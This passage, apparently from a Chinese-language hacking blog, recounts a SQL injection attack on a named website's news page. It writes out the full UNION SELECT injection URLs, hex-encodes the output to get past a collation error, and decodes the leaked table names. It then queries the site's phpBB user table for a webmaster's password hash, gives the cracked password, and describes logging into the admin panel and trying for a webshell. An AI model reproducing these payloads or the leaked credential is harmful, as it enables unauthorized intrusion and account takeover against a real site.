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开始操作,提交 http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME%20%20from%20information_schema.STATISTICS/* 貌似没有出现想象中的效果 
提示 Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
看来是union 前后字符集不搭配,只好编码一下了,提交 http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,hex(TABLE_SCHEMA),hex(TABLE_NAME),hex(COLUMN_NAME)%20%20from%20information_schema.STATISTICS/* 
这次正常了,连上我自己的mysql,将16进制的编码还原 mysql> select 0x6A6179776562; +----------------+ | 0x6A6179776562 | +----------------+ | jayweb | +----------------+ 1 row in set (0.00 sec) mysql> select 0x41646D696E5F4964; +--------------------+ | 0x41646D696E5F4964 | +--------------------+ | Admin_Id | +--------------------+ 1 row in set (0.00 sec) mysql> select 0x61646D696E; +--------------+ | 0x61646D696E | +--------------+ | admin | +--------------+ 1 row in set (0.00 sec) 这里表名出来了,是admin,但是没有暴出密码字段名,我们可以通过使用limit语法逐个表和字段查询,但是数据库很多表的话,不晓得什么时候才能摸清楚。刚好网站上有个phpbb的论坛,还是通过跨库查论坛数据库吧。 看了下,管理员有一个admin一个webmater,看样子webmater比较活跃,就查他的密码了。 提交 http://www.jay2u.com/jaynews/index.php?action=newsView&newsID=660%20%20and%201=2%20union%20select%201,2,username,user_password%20%20from%20phpbb_users%20where%20user_id=66333  到www.cmd5.com上查询出来密码是 :042990 登陆后台去参观下吧 :)  对phpbb不是很熟悉,在后台琢磨了半天,尝试了添加上传类型等办法都没能得到webshell,难道只能渗透到这个程度吗?
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